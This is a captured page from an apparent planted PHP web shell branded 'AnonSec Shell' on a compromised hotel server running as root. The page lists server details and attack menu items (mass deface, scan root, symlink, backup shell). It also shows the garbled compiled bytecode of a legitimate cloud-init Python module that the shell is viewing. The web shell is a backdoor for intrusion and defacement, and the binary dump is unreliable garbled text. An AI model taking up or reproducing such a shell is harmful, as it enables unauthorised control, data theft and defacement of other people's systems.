AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/handlers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/handlers/__pycache__/jinja_template.cpython-310.pyc
o

x[h��@s\UddlZddlZddlZddlZddlmZddlmZmZddl	m
Z
ddlmZm
Z
ddlmZddlmZddlmZmZmZmZdd	lmZmZeeed
<zddlmZddlm Z Wne!yqeZe�"d
�Z Ynwe�#e$�Z%Gdd�de�Z&Gdd�de�Z'Gdd�de
j(�Z)	d"dd�Z*d"dd�Z+de,dee,fdd�Z-	d#d d!�Z.dS)$�N)�EACCES)�Optional�Type)�handlers)�b64d�
json_dumps)�Paths)�
PER_ALWAYS)�MISSING_JINJA_PREFIX�JinjaSyntaxParsingException�detect_template�
render_string)�	load_json�load_text_file�JUndefinedError)�UndefinedError)�operator_rez[-.]c@�eZdZdS)�JinjaLoadErrorN��__name__�
__module__�__qualname__�rr�C/usr/lib/python3/dist-packages/cloudinit/handlers/jinja_template.pyr"�rc@r)�
NotJinjaErrorNrrrrrr&rrc@s(eZdZdgZdefdd�Zdd�ZdS)�JinjaTemplatePartHandlerz## template: jinja�pathscKsLtjj|tdd�||_i|_|�dg�D]}|��D]}||j|<qqdS)N�)�version�sub_handlers)r�Handler�__init__r	rr!�get�
list_types)�selfr�_kwargs�handler�ctyperrrr#.s��z!JinjaTemplatePartHandler.__init__c
Cs�|tjvrdS|j�d�}zt|||�}Wnty1}	zt�d|t|	��WYd}	~	dSd}	~	ww|s6dSt�	|�}
|j
�|
�}|sLt�d||
�dS|jdkr]|�
||||||�dS|jdkrm|�
|||||�dSdS)N�instance_data_sensitivez=Ignoring jinja template for %s. Failed to render template. %szPIgnoring jinja template for %s. Could not find supported sub-handler for type %sr�)r�CONTENT_SIGNALSr�get_runpath�render_jinja_payload_from_filer�LOG�warning�str�type_from_starts_withr!r$�handler_version�handle_part)r&�datar)�filename�payload�	frequency�headers�jinja_json_file�rendered_payload�e�subtype�sub_handlerrrrr46sH
����	
�
�

��z$JinjaTemplatePartHandler.handle_partN)rrr�prefixesrr#r4rrrrr*srFc
Cs�t|�ddkrtd��i}d}tj�|�std|��ztt|��}Wn#tyG}zd}t	|t
tf�r>|jt
kr>d|}t|�|�d}~wwt||||�}|sSdS|S)aKRender a jinja template sourcing variables from jinja_vars_path.

    @param payload: String of jinja template content. Should begin with
        ## template: jinja\n.
    @param payload_fn: String representing the filename from which the payload
        was read used in error reporting. Generally in part-handling this is
        'part-##'.
    @param instance_data_file: A path to a json file containing variables that
        will be used as jinja template variables.

    @return: A string of jinja-rendered content with the jinja header removed.
        Returns None on error.
    r�jinjazPayload is not a jinja templateNzFCannot render jinja template vars. Instance data not yet present at %sz"Loading Jinja instance data failedzGCannot render jinja template vars. No read permission on '%s'. Try sudo)rr�os�path�existsrrr�	Exception�
isinstance�IOError�OSError�errnor�render_jinja_payload)r7�
payload_fn�instance_data_file�debug�
instance_datar;r<�msgrrrr.]s:��
��
��
�r.c
Cs�t||�dg�dd�}|rt�dt|��zt||�}Wnttfy:}zt�d|t	|��WYd}~dSd}~wwdd�t
�dt|�D�}|rTt�d	|d
�
|��|S)Nzbase64-encoded-keysT)�decode_paths�include_key_aliaseszConverted jinja variables
%sz"Ignoring jinja template for %s: %scSsg|]
}d|�td��qS)z'%s'�)�replacer
)�.0�varrrr�
<listcomp>�s��z(render_jinja_payload.<locals>.<listcomp>z%s[^\s]+z:Could not render jinja template variables in file '%s': %sz, )�convert_jinja_instance_datar$r/rLrr
�	TypeErrorrr0r1�re�findallr
�join)r7rJrMrL�instance_jinja_varsr;r<�warningsrrrrI�s8
�������rI�	orig_name�returncCst�td|�}||kr
|SdS)a�Return a jinja variable alias, replacing any operators with underscores.

    Provide underscore-delimited key aliases to simplify dot-notation
    attribute references for keys which contain operators "." or "-".
    This provides for simpler short-hand jinja attribute notation
    allowing one to avoid quoting keys which contain operators.
    {{ ds.v1_0.config.user_network_config }} instead of
    {{ ds['v1.0'].config["user.network-config"] }}.

    :param orig_name: String representing a jinja variable name to scrub/alias.

    :return: A string with any jinja operators replaced if needed. Otherwise,
        none if no alias required.
    �_N)rX�subr)r]�
alias_namerrr�get_jinja_variable_alias�srbrQ�/rcCs�i}dd�|D�}t|���D]U\}}|rd�|||�n|}||vr&t|�}t|t�rOt|||||d�||<t�d|�rN||��D]\}	}
t	�
|
�||	<qBn|||<|rdt|�}|rdt	�
||�||<q|S)z�Process instance-data.json dict for use in jinja templates.

    Replace hyphens with underscores for jinja templates and decode any
    base64_encoded_keys.
    cSsg|]}|�dd��qS)�-r_)rR)rSrBrrrrU�sz/convert_jinja_instance_data.<locals>.<listcomp>z	{0}{1}{2})�seprOrPzv\d+$)�sorted�items�formatrrE�dictrVrX�match�copy�deepcopyrb)r5�prefixrerOrP�result�key�value�key_path�subkey�subvaluerarrrrV�s2

���rV)F)rQrcrF)/rk�loggingrArXrHr�typingrr�	cloudinitr�cloudinit.atomic_helperrr�cloudinit.helpersr�cloudinit.settingsr	�cloudinit.templaterr
rrr
�cloudinit.utilrrrD�__annotations__�jinja2.exceptionsrr�jinja2.lexerr�ImportError�compile�	getLoggerrr/rrr"rr.rIr1rbrVrrrr�<module>s<
�
4
�
-�

Anon7 - 2022
AnonSec Team